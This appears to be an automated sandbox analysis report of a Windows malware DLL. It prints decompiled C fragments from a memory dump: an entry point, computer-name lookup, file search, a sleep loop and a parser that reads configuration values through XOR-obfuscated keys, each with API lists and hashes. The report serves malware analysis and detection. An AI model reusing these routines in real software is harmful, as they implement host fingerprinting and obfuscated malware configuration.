SysFreeString.OLEAUT32(03551885), ref: 0355923B

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 3a3f2db89f3102994f6e1c9e310ddd9c221e9ec685deeb3564d66430f769a903
Instruction ID: 27a3ebbc69f20ed24ba66a33367a8110a1b22ec107bb3305122cee99f348c0ff
Opcode Fuzzy Hash: 3a3f2db89f3102994f6e1c9e310ddd9c221e9ec685deeb3564d66430f769a903
Instruction Fuzzy Hash: 8E318876900119EFCB10DFA9D898C9FBB7AFBC97407148659FC059B220E331AD51DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 035589D6, Relevance: 3.0, APIs: 2, Instructions: 49
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E035589D6(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				struct _FILETIME _v12;
				void* _t15;
				void* _t21;
				void* _t23;
				void* _t24;
				signed short* _t25;

				_t23 = __edx;
				_t24 = E0355809F(0, _a12);
				if(_t24 == 0) {
					_t21 = 8;
				} else {
					_t25 = _t24 + _a16 * 2;
					 *_t25 =  *_t25 & 0x00000000; // executed
					_t15 = E0355904E(__ecx, _a4, _a8, _t24); // executed
					_t21 = _t15;
					if(_t21 == 0) {
						GetSystemTimeAsFileTime( &_v12);
						_push( &_v12);
						 *_t25 = 0x5f;
						_t21 = E0355A635(_t23, 8, _a4, 0x80000001, _a8, _t24);
					}
					HeapFree( *0x355d238, 0, _t24);
				}
				return _t21;
			}

0x035589d6
0x035589e9
0x035589ed
0x03558a47
0x035589ef
0x035589f6
0x035589fc
0x03558a00
0x03558a05
0x03558a09
0x03558a0f
0x03558a18
0x03558a1d
0x03558a32
0x03558a32
0x03558a3d
0x03558a3d
0x03558a4e

APIs

Part of subcall function 0355809F: lstrlen.KERNEL32(?,00000000,0355D330,00000001,03552200,0355D00C,0355D00C,00000000,00000005,00000000,00000000,?,?,?,035596C1,035523E9), ref: 035580A8
Part of subcall function 0355809F: mbstowcs.NTDLL ref: 035580CF
Part of subcall function 0355809F: memset.NTDLL ref: 035580E1

GetSystemTimeAsFileTime.KERNEL32(004F0053,004F0053,00000014,00000000,00000008,75145520,00000000,00000008,00000014,004F0053,059A937C), ref: 03558A0F
HeapFree.KERNEL32(00000000,00000000,004F0053,00000014,00000000,00000008,75145520,00000000,00000008,00000014,004F0053,059A937C), ref: 03558A3D

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$FileFreeHeapSystemlstrlenmbstowcsmemset
String ID:
API String ID: 1500278894-0
Opcode ID: 682f73101a7c24f9a86e6c4c56d17de02664f41d445cdd08f2fd400d806b33b9
Instruction ID: cdf6f4048e4824f7f660a83498d08a554f77ea5f2f38af2360db2d40e486b80a
Opcode Fuzzy Hash: 682f73101a7c24f9a86e6c4c56d17de02664f41d445cdd08f2fd400d806b33b9
Instruction Fuzzy Hash: C9017C3660030ABBDF21AFA4EC54E9A7BB9FB84314F004426FE009A170EBB1E9599750

Uniqueness

Uniqueness Score: -1.00%

Function 03551A03, Relevance: 3.0, APIs: 2, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(03558B1E), ref: 03551A1D

Part of subcall function 03559152: SysFreeString.OLEAUT32(?), ref: 03559231

SysFreeString.OLEAUT32(00000000), ref: 03551A5D

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: c83bda4697c2e11663a5e8d8f26bbb8214eeec703b95051c4073af3458901b8e
Instruction ID: e9378314a28fdf8415b55dcc9bbbac6812393992c5a0e55c0572a11bfc1f4064
Opcode Fuzzy Hash: c83bda4697c2e11663a5e8d8f26bbb8214eeec703b95051c4073af3458901b8e
Instruction Fuzzy Hash: C001627290060ABBCF51EF69D819D9F7BB9FF48310B014021FE05E6130D770AA19DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 035554BC, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E035554BC(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E03552049(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E03559039(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x035554c1
0x035554cc
0x035554ce
0x035554d4
0x035554d6
0x035554db
0x035554e4
0x035554e8
0x035554f1
0x035554f5
0x03555504
0x035554f7
0x035554f8
0x035554fd
0x035554fd
0x035554f5
0x035554e8
0x0355550d

APIs

GetComputerNameExA.KERNELBASE(00000003,00000000,0355A306,7519F710,00000000,?,?,0355A306), ref: 035554D4

Part of subcall function 03552049: RtlAllocateHeap.NTDLL(00000000,00000000,03557E50), ref: 03552055

GetComputerNameExA.KERNELBASE(00000003,00000000,0355A306,0355A307,?,?,0355A306), ref: 035554F1

Part of subcall function 03559039: HeapFree.KERNEL32(00000000,00000000,03557F18,00000000,?,?,00000000), ref: 03559045

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: 4065a8bd31a83cf85f631975a12def0771de206b52b7830ed24d5aca58b5cf20
Instruction ID: 660d1ac542750f98e61e2e322f217fb3d7b1db91056d4bb666084b519d483443
Opcode Fuzzy Hash: 4065a8bd31a83cf85f631975a12def0771de206b52b7830ed24d5aca58b5cf20
Instruction Fuzzy Hash: CEF05427600209FBEB11DA9AEC50EAF77BDEBC6650F150466BD05D7160EA70FE019770

Uniqueness

Uniqueness Score: -1.00%

Function 03558055, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t4;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t14;

				_t14 = 1;
				_t4 = _a8;
				if(_t4 == 0) {
					if(InterlockedDecrement(0x355d23c) == 0) {
						E0355970F();
					}
				} else {
					if(_t4 == 1 && InterlockedIncrement(0x355d23c) == 1) {
						_t10 = E03556A56(_t11, _t12, _a4); // executed
						if(_t10 != 0) {
							_t14 = 0;
						}
					}
				}
				return _t14;
			}

0x0355805c
0x0355805d
0x03558060
0x03558092
0x03558094
0x03558094
0x03558062
0x03558063
0x03558078
0x0355807f
0x03558081
0x03558081
0x0355807f
0x03558063
0x0355809c

APIs

InterlockedIncrement.KERNEL32(0355D23C), ref: 0355806A

Part of subcall function 03556A56: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,0355807D,?), ref: 03556A69

InterlockedDecrement.KERNEL32(0355D23C), ref: 0355808A

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interlocked$CreateDecrementHeapIncrement
String ID:
API String ID: 3834848776-0
Opcode ID: c282c443b200289845ed2c75264e242c5b979c4fbcad54aae26e12169bb96e73
Instruction ID: b87872723a8f58d28a6f37b539445499b23f714cdb914e7607467b59cbee3cd7
Opcode Fuzzy Hash: c282c443b200289845ed2c75264e242c5b979c4fbcad54aae26e12169bb96e73
Instruction Fuzzy Hash: DEE0867B35432297CE31EB74B834F5EA664BF41B80F094417FEA9D6074D610F4819AD1

Uniqueness

Uniqueness Score: -1.00%

Function 03559318, Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E03559318(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				short _v20;
				intOrPtr _t15;
				short _t17;
				intOrPtr _t19;
				short _t23;

				_t23 = 0;
				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x355d27c; // 0x244a5a8
				_t4 = _t15 + 0x355e39c; // 0x59a8944
				_t20 = _t4;
				_t6 = _t15 + 0x355e124; // 0x650047
				_t17 = E03559152(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					if(_v20 != 8) {
						_t23 = 1;
					} else {
						_t19 = E03559FC9(_t20, _v12);
						if(_t19 == 0) {
							_t23 = 8;
						} else {
							 *_a16 = _t19;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x03559322
0x03559324
0x0355932b
0x0355932c
0x0355932d
0x0355932e
0x03559334
0x03559339
0x03559339
0x03559343
0x03559355
0x0355935c
0x0355938b
0x0355935e
0x03559363
0x03559388
0x03559365
0x03559368
0x0355936f
0x0355937a
0x03559371
0x03559374
0x03559374
0x0355937e
0x0355937e
0x03559363
0x03559392

APIs

Part of subcall function 03559152: SysFreeString.OLEAUT32(?), ref: 03559231

Part of subcall function 03559FC9: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,03557946,004F0053,00000000,?), ref: 03559FD2
Part of subcall function 03559FC9: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,03557946,004F0053,00000000,?), ref: 03559FFC
Part of subcall function 03559FC9: memset.NTDLL ref: 0355A010

SysFreeString.OLEAUT32(00000000), ref: 0355937E

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: ee1517114a9050486a30b6c90d2963d998d5048111133151ae22de4e2e7b091c
Instruction ID: 2cba1b00c45e4b79b1f881e15be8efad55ae5c35c0dd41949c49cd5012318ba8
Opcode Fuzzy Hash: ee1517114a9050486a30b6c90d2963d998d5048111133151ae22de4e2e7b091c
Instruction Fuzzy Hash: 36019E32500129FBCB11EFA8EC24CEEBBB8FB44700B024966FD11E60B0D374BA558791

Uniqueness

Uniqueness Score: -1.00%

Function 035521CD, Relevance: 1.3, APIs: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E035521CD(void* __ecx, signed char* _a4) {
				void* _v8;
				void* _t8;
				signed short _t11;
				signed int _t12;
				signed int _t14;
				intOrPtr _t15;
				void* _t19;
				signed short* _t22;
				void* _t24;
				intOrPtr* _t27;

				_t24 = 0;
				_push(0);
				_t19 = 1;
				_t27 = 0x355d330;
				E035584D5();
				while(1) {
					_t8 = E035512D4(_a4,  &_v8); // executed
					if(_t8 == 0) {
						break;
					}
					_push(_v8);
					_t14 = 0xd;
					_t15 = E0355809F(_t14);
					if(_t15 == 0) {
						HeapFree( *0x355d238, 0, _v8);
						break;
					} else {
						 *_t27 = _t15;
						_t27 = _t27 + 4;
						_t24 = _t24 + 1;
						if(_t24 < 3) {
							continue;
						} else {
						}
					}
					L7:
					_push(1);
					E035584D5();
					if(_t19 != 0) {
						_t22 =  *0x355d338; // 0x59a9b80
						_t11 =  *_t22 & 0x0000ffff;
						if(_t11 < 0x61 || _t11 > 0x7a) {
							_t12 = _t11 & 0x0000ffff;
						} else {
							_t12 = (_t11 & 0x0000ffff) - 0x20;
						}
						 *_t22 = _t12;
					}
					return _t19;
				}
				_t19 = 0;
				goto L7;
			}

0x035521d5
0x035521d9
0x035521da
0x035521db
0x035521e0
0x035521e5
0x035521ec
0x035521f3
0x00000000
0x00000000
0x035521f5
0x035521fa
0x035521fb
0x03552202
0x0355221c
0x00000000
0x03552204
0x03552204
0x03552206
0x03552209
0x0355220d
0x00000000
0x00000000
0x0355220f
0x0355220d
0x03552224
0x03552224
0x03552226
0x0355222d
0x0355222f
0x03552235
0x0355223c
0x0355224c
0x03552244
0x03552247
0x03552247
0x0355224f
0x0355224f
0x03552258
0x03552258
0x03552222
0x00000000

APIs

Part of subcall function 035584D5: GetProcAddress.KERNEL32(36776F57,035521E5), ref: 035584F0

Part of subcall function 035512D4: RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 035512FF
Part of subcall function 035512D4: RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 03551321
Part of subcall function 035512D4: memset.NTDLL ref: 0355133B
Part of subcall function 035512D4: CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 03551379
Part of subcall function 035512D4: GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 0355138D
Part of subcall function 035512D4: FindCloseChangeNotification.KERNELBASE(00000000), ref: 035513A4
Part of subcall function 035512D4: StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 035513B0
Part of subcall function 035512D4: lstrcat.KERNEL32(?,642E2A5C), ref: 035513F1
Part of subcall function 035512D4: FindFirstFileA.KERNELBASE(?,?), ref: 03551407

Part of subcall function 0355809F: lstrlen.KERNEL32(?,00000000,0355D330,00000001,03552200,0355D00C,0355D00C,00000000,00000005,00000000,00000000,?,?,?,035596C1,035523E9), ref: 035580A8
Part of subcall function 0355809F: mbstowcs.NTDLL ref: 035580CF
Part of subcall function 0355809F: memset.NTDLL ref: 035580E1

HeapFree.KERNEL32(00000000,0355D00C,0355D00C,0355D00C,00000000,00000005,00000000,00000000,?,?,?,035596C1,035523E9,0355D00C,?,035523E9), ref: 0355221C

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: FileHeap$AllocateFindmemset$AddressChangeCloseCreateFirstFreeNotificationProcTimelstrcatlstrlenmbstowcs
String ID:
API String ID: 983081259-0
Opcode ID: e6c992e231bfc8f1bd7e156c0db2de42b8475d80c3dbdfa30f8ee0f9e0410a0e
Instruction ID: 082c31909071446c21be1b392416eb61cc85d7b1fc4f210d8c402f963b9adf53
Opcode Fuzzy Hash: e6c992e231bfc8f1bd7e156c0db2de42b8475d80c3dbdfa30f8ee0f9e0410a0e
Instruction Fuzzy Hash: E301F93A700309AAE700DEEAFCA0F6AB6E9FB95264F440437BD44DA070D665BC429761

Uniqueness

Uniqueness Score: -1.00%

Function 03551262, Relevance: 1.3, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E03551262(void** __esi, intOrPtr _a4, unsigned int _a8, void* _a12) {
				signed short _t18;
				void* _t24;
				signed int _t26;
				signed short _t27;

				if(_a4 != 0) {
					_t18 = E03559318(_a4, _a8, _a12, __esi); // executed
					_t27 = _t18;
				} else {
					_t27 = E03556BFA(0, 0x80000002, _a8, _a12,  &_a12,  &_a8);
					if(_t27 == 0) {
						_t26 = _a8 >> 1;
						if(_t26 == 0) {
							_t27 = 2;
							HeapFree( *0x355d238, 0, _a12);
						} else {
							_t24 = _a12;
							 *(_t24 + _t26 * 2 - 2) =  *(_t24 + _t26 * 2 - 2) & _t27;
							 *__esi = _t24;
						}
					}
				}
				return _t27;
			}

0x0355126a
0x035512bf
0x035512c4
0x0355126c
0x03551286
0x0355128a
0x0355128f
0x03551291
0x035512a1
0x035512ad
0x03551293
0x03551293
0x03551296
0x0355129b
0x0355129b
0x03551291
0x0355128a
0x035512ca

APIs

HeapFree.KERNEL32(00000000,?,00000000,80000002,7519F710,?,?,7519F710,00000000,?,0355743A,?,004F0053,059A9388,00000000,?), ref: 035512AD

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 106faa8dd25bd99a150ccfaabe4f0411400738cf5a3fd5901ffe73c193786c99
Instruction ID: 78a02ad880797071a6a066d9880f01ae7a8834cb862dcde4601933b4bb40f6b6
Opcode Fuzzy Hash: 106faa8dd25bd99a150ccfaabe4f0411400738cf5a3fd5901ffe73c193786c99
Instruction Fuzzy Hash: 01012836100649FBCF12DF45DC11FAA3BBAFB84360F54842AFE159A170D730A521DB10

Uniqueness

Uniqueness Score: -1.00%

Function 03552436, Relevance: 1.3, APIs: 1, Instructions: 36
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E03552436(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _t15;
				intOrPtr* _t21;

				_t21 = __edi;
				_push( &_v12);
				_push(__edi);
				_v8 = 0x1d4c0;
				_t15 =  *((intOrPtr*)( *__edi + 0xe0))();
				while(1) {
					_v16 = _t15;
					Sleep(0x1f4); // executed
					if(_v12 == 4) {
						break;
					}
					if(_v8 == 0) {
						L4:
						_t15 =  *((intOrPtr*)( *_t21 + 0xe0))(_t21,  &_v12);
						continue;
					} else {
						if(_v8 <= 0x1f4) {
							_v16 = 0x80004004;
						} else {
							_v8 = _v8 - 0x1f4;
							goto L4;
						}
					}
					L8:
					return _v16;
				}
				goto L8;
			}

0x03552436
0x03552443
0x03552444
0x03552445
0x0355244c
0x0355247a
0x0355247b
0x0355247e
0x03552484
0x00000000
0x00000000
0x03552463
0x0355246d
0x03552474
0x00000000
0x03552465
0x03552468
0x03552488
0x0355246a
0x0355246a
0x00000000
0x0355246a
0x03552468
0x0355248f
0x03552495
0x03552495
0x00000000

APIs

Sleep.KERNELBASE(000001F4), ref: 0355247E

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d2bb7845e24524515783297a5e990b9f42d0d03f41c7db7ec72c8365f821c4d4
Instruction ID: 963011225c6c88f8947a6ba64b1572cdb9d90ad7a0943bca34dfca5e4a4a6b62
Opcode Fuzzy Hash: d2bb7845e24524515783297a5e990b9f42d0d03f41c7db7ec72c8365f821c4d4
Instruction Fuzzy Hash: 26F03C71D01219EFDB00DB94D498AEDB7B8FF04305F1484ABE90263111D3B46B44CF61

Uniqueness

Uniqueness Score: -1.00%

Function 03552659, Relevance: 1.3, APIs: 1, Instructions: 24stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(03553C81,?,?,035519A9,3D0355C0,80000002,03553C81,03558B1E,74666F53,4D4C4B48,03558B1E,?,3D0355C0,80000002,03553C81,?), ref: 03552679

Part of subcall function 03551A03: SysAllocString.OLEAUT32(03558B1E), ref: 03551A1D
Part of subcall function 03551A03: SysFreeString.OLEAUT32(00000000), ref: 03551A5D

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFreelstrlen
String ID:
API String ID: 3808004451-0
Opcode ID: 5ec470f58b658cc98f2efdca362625da5fcf9e7b9c405716d370a34de1c2d6d9
Instruction ID: ab20ed10a2dba4b4371a9d39baf6e938e59d4d171244136ae128f4e5aed3ca51
Opcode Fuzzy Hash: 5ec470f58b658cc98f2efdca362625da5fcf9e7b9c405716d370a34de1c2d6d9
Instruction Fuzzy Hash: 28E0AE3600020EBFCF129F90EC56EAA3F6AFB08350F048416BE0418030CB32A5B5EBA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 03554094, Relevance: 9.2, APIs: 6, Instructions: 223
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E03554094(int* __ecx) {
				int _v8;
				void* _v12;
				void* __esi;
				signed int _t20;
				signed int _t25;
				char* _t31;
				char* _t32;
				char* _t33;
				char* _t34;
				char* _t35;
				void* _t36;
				void* _t37;
				void* _t38;
				intOrPtr _t39;
				void* _t41;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t46;
				intOrPtr _t49;
				signed int _t50;
				signed int _t55;
				void* _t57;
				void* _t58;
				signed int _t60;
				signed int _t64;
				signed int _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t85;
				intOrPtr _t102;

				_t86 = __ecx;
				_t20 =  *0x355d278; // 0x63699bc3
				if(E03558748( &_v12,  &_v8, _t20 ^ 0x8241c5a7) != 0 && _v8 >= 0x90) {
					 *0x355d2d4 = _v12;
				}
				_t25 =  *0x355d278; // 0x63699bc3
				if(E03558748( &_v12,  &_v8, _t25 ^ 0xecd84622) == 0) {
					_push(2);
					_pop(0);
					goto L60;
				} else {
					_t85 = _v12;
					if(_t85 == 0) {
						_t31 = 0;
					} else {
						_t80 =  *0x355d278; // 0x63699bc3
						_t31 = E03553F7C(_t86, _t85, _t80 ^ 0x724e87bc);
					}
					if(_t31 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t31, 0,  &_v8) != 0) {
							 *0x355d240 = _v8;
						}
					}
					if(_t85 == 0) {
						_t32 = 0;
					} else {
						_t76 =  *0x355d278; // 0x63699bc3
						_t32 = E03553F7C(_t86, _t85, _t76 ^ 0x2b40cc40);
					}
					if(_t32 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t32, 0,  &_v8) != 0) {
							 *0x355d244 = _v8;
						}
					}
					if(_t85 == 0) {
						_t33 = 0;
					} else {
						_t72 =  *0x355d278; // 0x63699bc3
						_t33 = E03553F7C(_t86, _t85, _t72 ^ 0x3b27c2e6);
					}
					if(_t33 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t33, 0,  &_v8) != 0) {
							 *0x355d248 = _v8;
						}
					}
					if(_t85 == 0) {
						_t34 = 0;
					} else {
						_t68 =  *0x355d278; // 0x63699bc3
						_t34 = E03553F7C(_t86, _t85, _t68 ^ 0x0602e249);
					}
					if(_t34 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t34, 0,  &_v8) != 0) {
							 *0x355d004 = _v8;
						}
					}
					if(_t85 == 0) {
						_t35 = 0;
					} else {
						_t64 =  *0x355d278; // 0x63699bc3
						_t35 = E03553F7C(_t86, _t85, _t64 ^ 0x3603764c);
					}
					if(_t35 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t35, 0,  &_v8) != 0) {
							 *0x355d02c = _v8;
						}
					}
					if(_t85 == 0) {
						_t36 = 0;
					} else {
						_t60 =  *0x355d278; // 0x63699bc3
						_t36 = E03553F7C(_t86, _t85, _t60 ^ 0x2cc1f2fd);
					}
					if(_t36 != 0) {
						_push(_t36);
						_t57 = 0x10;
						_t58 = E03556ED2(_t57);
						if(_t58 != 0) {
							_push(_t58);
							E0355A5D6();
						}
					}
					if(_t85 == 0) {
						_t37 = 0;
					} else {
						_t55 =  *0x355d278; // 0x63699bc3
						_t37 = E03553F7C(_t86, _t85, _t55 ^ 0xb30fc035);
					}
					if(_t37 != 0 && E03556ED2(0, _t37) != 0) {
						_t102 =  *0x355d32c; // 0x59a95b0
						E035575E9(_t102 + 4, _t53);
					}
					if(_t85 == 0) {
						_t38 = 0;
					} else {
						_t50 =  *0x355d278; // 0x63699bc3
						_t38 = E03553F7C(_t86, _t85, _t50 ^ 0x372ab5b7);
					}
					if(_t38 == 0) {
						L51:
						_t39 =  *0x355d27c; // 0x244a5a8
						_t18 = _t39 + 0x355e252; // 0x616d692f
						 *0x355d2d0 = _t18;
						goto L52;
					} else {
						_t49 = E03556ED2(0, _t38);
						 *0x355d2d0 = _t49;
						if(_t49 != 0) {
							L52:
							if(_t85 == 0) {
								_t41 = 0;
							} else {
								_t46 =  *0x355d278; // 0x63699bc3
								_t41 = E03553F7C(_t86, _t85, _t46 ^ 0xd8dc5cde);
							}
							if(_t41 == 0) {
								_t42 =  *0x355d27c; // 0x244a5a8
								_t19 = _t42 + 0x355e791; // 0x6976612e
								_t43 = _t19;
							} else {
								_t43 = E03556ED2(0, _t41);
							}
							 *0x355d340 = _t43;
							HeapFree( *0x355d238, 0, _t85);
							L60:
							return 0;
						}
						goto L51;
					}
				}
			}

0x03554094
0x03554097
0x035540b7
0x035540c5
0x035540c5
0x035540ca
0x035540e4
0x035542e2
0x035542e4
0x00000000
0x035540ea
0x035540ea
0x035540f1
0x03554107
0x035540f3
0x035540f3
0x03554100
0x03554100
0x03554111
0x03554113
0x0355411d
0x03554122
0x03554122
0x0355411d
0x03554129
0x0355413f
0x0355412b
0x0355412b
0x03554138
0x03554138
0x03554143
0x03554145
0x0355414f
0x03554154
0x03554154
0x0355414f
0x0355415b
0x03554171
0x0355415d
0x0355415d
0x0355416a
0x0355416a
0x03554175
0x03554177
0x03554181
0x03554186
0x03554186
0x03554181
0x0355418d
0x035541a3
0x0355418f
0x0355418f
0x0355419c
0x0355419c
0x035541a7
0x035541a9
0x035541b3
0x035541b8
0x035541b8
0x035541b3
0x035541bf
0x035541d5
0x035541c1
0x035541c1
0x035541ce
0x035541ce
0x035541d9
0x035541db
0x035541e5
0x035541ea
0x035541ea
0x035541e5
0x035541f1
0x03554207
0x035541f3
0x035541f3
0x03554200
0x03554200
0x0355420b
0x0355420d
0x03554210
0x03554211
0x03554218
0x0355421a
0x0355421b
0x0355421b
0x03554218
0x03554222
0x03554238
0x03554224
0x03554224
0x03554231
0x03554231
0x0355423c
0x0355424a
0x03554254
0x03554254
0x0355425b
0x03554271
0x0355425d
0x0355425d
0x0355426a
0x0355426a
0x03554275
0x03554288
0x03554288
0x0355428d
0x03554293
0x00000000
0x03554277
0x0355427a
0x03554281
0x03554286
0x03554298
0x0355429a
0x035542b0
0x0355429c
0x0355429c
0x035542a9
0x035542a9
0x035542b4
0x035542c0
0x035542c5
0x035542c5
0x035542b6
0x035542b9
0x035542b9
0x035542d3
0x035542d8
0x035542e5
0x035542e9
0x035542e9
0x00000000
0x03554286
0x03554275

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,035523DE,?,63699BC3,035523DE,?,63699BC3,00000005,0355D00C,00000008,?,035523DE), ref: 03554119
StrToIntExA.SHLWAPI(00000000,00000000,?,035523DE,?,63699BC3,035523DE,?,63699BC3,00000005,0355D00C,00000008,?,035523DE), ref: 0355414B
StrToIntExA.SHLWAPI(00000000,00000000,?,035523DE,?,63699BC3,035523DE,?,63699BC3,00000005,0355D00C,00000008,?,035523DE), ref: 0355417D
